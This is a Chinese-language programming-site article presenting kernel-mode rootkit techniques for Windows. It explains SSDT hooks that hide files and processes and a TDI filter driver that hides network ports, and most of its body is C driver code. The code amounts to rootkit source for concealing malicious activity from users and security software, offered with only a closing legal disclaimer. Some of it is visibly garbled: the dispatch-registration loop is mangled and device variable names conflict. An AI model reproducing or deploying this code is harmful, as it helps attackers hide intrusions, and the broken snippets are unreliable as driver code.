首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> C++ >> 關於C++

核心層技術揭秘:隱藏進程、檔案、註冊表與網路埠的驅動級實作

     編輯:關於C++

在 Windows 核心模式驅動程式開發中,實現對系統物件(進程、檔案、註冊表、網路埠)的隱藏是一項經典的技術課題。本文探討透過系統服務表 (SSDT) 掛鉤與 TDI (Transport Driver Interface) 過濾驅動相結合的方式,在 Ring 0 層級實現全方位的物件隱藏。文中提供的程式碼片段展示了核心資料結構定義與關鍵掛鉤邏輯,供安全研究與驅動開發學習參考。

技術架構概覽

用戶模式應用程式查詢系統資訊時,最終會呼叫內核函式:

  • 檔案/目錄枚舉:ZwQueryDirectoryFile
  • 進程/系統資訊查詢:ZwQuerySystemInformation
  • 註冊表操作:ZwQueryValueKey、ZwEnumerateValueKey 等

這些函式的入口地址儲存在 SYSCALL 表 (SSDT) 中。由於 SSDT 位於核心記憶體,用戶模式不可見,修改它必須在核心模式 (Ring 0) 下透過驅動程式完成。基本思路是:

  1. 編寫核心驅動程式。
  2. 定位 SSDT 基址。
  3. 將目標函式的 SSDT 項替換為自定義的 Hook 函式指標。
  4. 在 Hook 函式中先呼叫原函式,再過濾/修改返回結果,最後返回給調用者。

網路埠隱藏:TDI 過濾驅動

網路埠資訊查詢通常走 TDI 介面。Windows 導出 \Device\Tcp 和 \Device\Udp 兩個裝置物件。透過建立一個裝置過濾驅動,將這兩個裝置掛載到過濾裝置堆疊頂端,即可攔截所有針對 TCP/UDP 的 IRP (I/O Request Packet) 請求。在處理 IRP_MJ_DEVICE_CONTROL (具體為 IOCTL_TCP_QUERY_INFORMATION_EX) 時,過濾掉需隱藏的埠資訊,再向下傳遞 IRP。

核心程式碼解析

1. 關鍵資料結構定義

// 目錄查詢結果項結構 (簡化)
typedef struct _DirEntry {
    DWORD dwLenToNext;
    DWORD dwAttr;
    FILETIME ftCreate, ftLastAccess, ftLastWrite;
    DWORD dwFileSizeLow, dwFileSizeHigh;
    WORD wNameLen;
    WCHAR suName[1]; // 變長檔名
} DirEntry, *PDirEntry;

// 系統進程資訊結構 (SystemInformationClass = 5)
struct _SYSTEM_PROCESSES {
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    // ... 時間、記憶體、I/O 計數器 ...
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    // ... 線程陣列 ...
};

2. 掛鉤 ZwQueryDirectoryFile:隱藏檔案/目錄

NTSTATUS HookZwQueryDirectoryFile(...) {
    NTSTATUS rc = OldZwQueryDirectoryFile(...); // 先呼叫原函式
    if (NT_SUCCESS(rc)) {
        PDirEntry p = (PDirEntry)FileInformationBuffer, pLast = NULL;
        BOOL bLastOne;
        do {
            bLastOne = !(p->dwLenToNext);
            // 將 Unicode 檔名轉為 ANSI 大寫以便比對
            RtlInitUnicodeString(&uniFileName, p->suName);
            RtlUnicodeStringToAnsiString(&ansiFileName, &uniFileName, TRUE);
            RtlUpperString(&ansiFileName, &ansiFileName);

            // 在隱藏列表鏈表中查找
            BOOL found = FALSE;
            for (ptr = list_head; ptr; ptr = ptr->next) {
                if (ptr->flag == PTR_HIDEDIR &&
                    RtlCompareMemory(ansiFileName.Buffer, ptr->name, strlen(ptr->name)) == strlen(ptr->name)) {
                    found = TRUE; break;
                }
            }

            if (found) { // 從鏈表中移除該項
                if (bLastOne) {
                    if (p == FileInformationBuffer) rc = STATUS_NO_MORE_FILES;
                    else pLast->dwLenToNext = 0;
                } else {
                    // 記憶體前移覆蓋
                    RtlCopyMemory(p, (char*)p + p->dwLenToNext, ...);
                    continue;
                }
            }
            pLast = p;
            p = (PDirEntry)((char*)p + p->dwLenToNext);
        } while (!bLastOne);
        RtlFreeAnsiString(&ansiFileName);
    }
    return rc;
}

關鍵點:目錄查詢結果以單向鏈表形式存放於緩衝區,透過 dwLenToNext 串聯。隱藏邏輯實質是「從鏈表中摘除節點」。

3. 掛鉤 ZwQuerySystemInformation:隱藏進程

NTSTATUS HookZwQuerySystemInformation(...) {
    NTSTATUS rc = OldZwQuerySystemInformation(...);
    if (NT_SUCCESS(rc) && g_hide_proc && SystemInformationClass == 5) {
        PSYSTEM_PROCESSES curr = (PSYSTEM_PROCESSES)SystemInformation, prev = NULL;
        while (curr) {
            // 獲取進程名 (Unicode 轉 ANSI)
            // ... 遍歷隱藏進程名鏈表比對 ...
            if (found) {
                if (prev) {
                    if (curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta;
                    else prev->NextEntryDelta = 0;
                } else {
                    // 隱藏第一個進程,移動緩衝區指標
                    if (curr->NextEntryDelta) (char*)SystemInformation += curr->NextEntryDelta;
                    else SystemInformation = NULL;
                }
                // 注意:隱藏後需重新檢查下一個進程是否也需隱藏
            } else {
                prev = curr;
            }
            if (curr->NextEntryDelta) curr = (PSYSTEM_PROCESSES)((char*)curr + curr->NextEntryDelta);
            else curr = NULL;
        }
    }
    return rc;
}

關鍵點:進程列表同樣為鏈表結構,隱藏邏輯為修改 NextEntryDelta 跳過目標節點,或調整緩衝區起始位置。

4. TDI 過濾驅動掛載與 IRP 處理


// DriverEntry 中掛載 \Device\Tcp
RtlInitUnicodeString(&TcpDeviceName, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&TcpDeviceName, FILE_ALL_ACCESS, &FileObject, &TcpDevice);
status = IoCreateDevice(DriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_UNKNOWN, 0, FALSE, &FilterDevice);
TcpgetDevice = IoAttachDeviceToDeviceStack(FilterDevice, TcpDevice);

// 註冊 Dispatch 常式
for (i=0; iMajorFunction[i] != Empty && DriverObject->MajorFunction[i] == Empty)
        DriverObject->MajorFunction[i] = PassThrough;
}

// 通用傳遞/過濾常式
NTSTATUS PassThrough(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(Irp);
    if (pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX) {
        // 此處可進一步解析 TDI 查詢結構,過濾特定埠
        Irp->IoStatus.Status = STATUS_SUCCESS;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_SUCCESS; // 直接完成,隱藏資訊
    }
    IoCopyCurrentIrpStackLocationToNext(Irp);
    IoSetCompletionRoutine(Irp, GenericCompletion, NULL, TRUE, TRUE, TRUE);
    return IoCallDriver(m_TcpgetDevice, Irp);
}

法律與道德警示

本文技術僅供安全防禦研究、驅動開發教學及合法安全產品開發參考。 利用此類技術編寫 Rootkit、隱藏惡意軟體活動、規避安全產品檢測均屬非法行為,嚴重違反《計算機信息網絡國際聯網安全保護管理辦法》及《刑法》第二百八十五條、二百八十六條等相關法律法規。開發者應嚴格遵守網絡安全法,將技術用於合法授權的防護場景(如 EDD/Agent 自我保護、資產管理代理隱藏)。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved